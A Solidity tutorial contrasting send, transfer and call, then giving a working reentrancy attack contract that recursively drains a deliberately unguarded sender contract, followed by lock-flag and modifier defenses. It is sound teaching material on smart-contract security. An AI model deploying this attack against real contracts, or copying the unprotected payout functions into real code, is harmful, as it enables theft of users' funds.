You can see here the difference b/w transfer, send method.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract sender{
constructor() payable{
}
function getBalance() public view returns(uint){
return address(this).balance;
}
// Send function uses fixed amount of gas (2300 gas) and returns bool
function sendWithSend(address payable _addr) public returns(bool){
bool check = _addr.send(0.001 ether);
return check;
}
// transfer function uses fixed amount of gas (2300 gas) and throws error
function sendWithTransfer(address payable _addr) public{
_addr.transfer(0.001 ether);
}
}
contract receiver{
function getBalance() public view returns(uint){
return address(this).balance;
}
receive() external payable{
}
}
Now, Here is the difference b/w transfer, send and call method.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract sender{
constructor() payable{
}
function getBalance() public view returns(uint){
return address(this).balance;
}
// Send function uses fixed amount of gas (2300 gas) and returns bool
function sendWithSend(address payable _addr) public returns(bool){
bool check = _addr.send(0.001 ether);
return check;
}
// transfer function uses fixed amount of gas (2300 gas) and throws error
function sendWithTransfer(address payable _addr) public{
_addr.transfer(0.001 ether);
}
//call function take all or defined gas amount and return remaining gas with bool returns
//define limit gas use in transaction like this: _addr.call{value: msg.value, gas: 5000}
function sendWithCall(address payable _addr)public returns(bool){
(bool success, bytes memory result) = _addr.call{value:0.001 ether}("");
return success;
}
}
contract receiver{
//these two global variables to check the send and transfer function
uint x;
uint y;
function getBalance() public view returns(uint){
return address(this).balance;
}
receive() external payable{
//here x and y are modified during receiving ethers.
//so in this case send and transfer from sender contract return false and throw error due to fixed amount of gas used by
//these methods
//but call method take all gas and return remaining.
x = 10;
y = 20;
}
}
Here is the reentrancy attack
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract sender{
constructor() payable{
}
function getBalance() public view returns(uint){
return address(this).balance;
}
// Send function uses fixed amount of gas (2300 gas) and returns bool
function sendWithSend(address payable _addr) public returns(bool){
bool check = _addr.send(0.001 ether);
return check;
}
// transfer function uses fixed amount of gas (2300 gas) and throws error
function sendWithTransfer(address payable _addr) public{
_addr.transfer(0.001 ether);
}
//call function take all or defined gas amount and return remaining gas with bool returns
//define limit gas use in transaction like this: _addr.call{value: msg.value, gas: 5000}
function sendWithCall(address payable _addr)public returns(bool){
(bool success, bytes memory result) = _addr.call{value:0.001 ether}("");
return success;
}
}
contract receiver{
//address of senderContract or vulnerable contract.
address senderContractAddr;
function getBalance() public view returns(uint){
return address(this).balance;
}
receive() external payable{
// recursive call happened
attack();
}
function setSenderContractAddr(address _addr) public{
senderContractAddr = _addr;
}
function attack()internal returns(bool){
(bool success,) = senderContractAddr.call(abi.encodeWithSignature("sendWithCall(address)",address(this)));
return success;
}
}
Now protect from reentrancy attack:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract sender{
// this flag protect from reentrancy call
bool locked = false;
constructor() payable{
}
function getBalance() public view returns(uint){
return address(this).balance;
}
// Send function uses fixed amount of gas (2300 gas) and returns bool
function sendWithSend(address payable _addr) public returns(bool){
bool check = _addr.send(0.001 ether);
return check;
}
// transfer function uses fixed amount of gas (2300 gas) and throws error
function sendWithTransfer(address payable _addr) public{
_addr.transfer(0.001 ether);
}
//call function take all or defined gas amount and return remaining gas with bool returns
//define limit gas use in transaction like this: _addr.call{value: msg.value, gas: 5000}
function sendWithCall(address payable _addr)public returns(bool){
require(!locked, "Reentrancy Call");
locked = true;
(bool success, bytes memory result) = _addr.call{value:0.001 ether}("");
locked = false;
return success;
}
}
contract receiver{
//address of senderContract or vulnerable contract.
address senderContractAddr;
function getBalance() public view returns(uint){
return address(this).balance;
}
receive() external payable{
// recursive call happened
attack();
}
function setSenderContractAddr(address _addr) public{
senderContractAddr = _addr;
}
function attack()internal returns(bool){
(bool success,) = senderContractAddr.call(abi.encodeWithSignature("sendWithCall(address)",address(this)));
return success;
}
}
Another example to protect contract from reentrancy attack with the help of modifier:
contract protectedContract {
bool locked;
modifier noReentrancy() {
require(
!locked,
"Reentrant call."
);
locked = true;
_;
locked = false;
}
/// reentrant calls from within `msg.sender.call` cannot call `trasnferAmount` again.
/// executes the statement `locked = false` in the modifier.
function transferAmount() public noReentrancy returns (uint) {
(bool success,) = msg.sender.call("");
require(success);
return 7;
}
}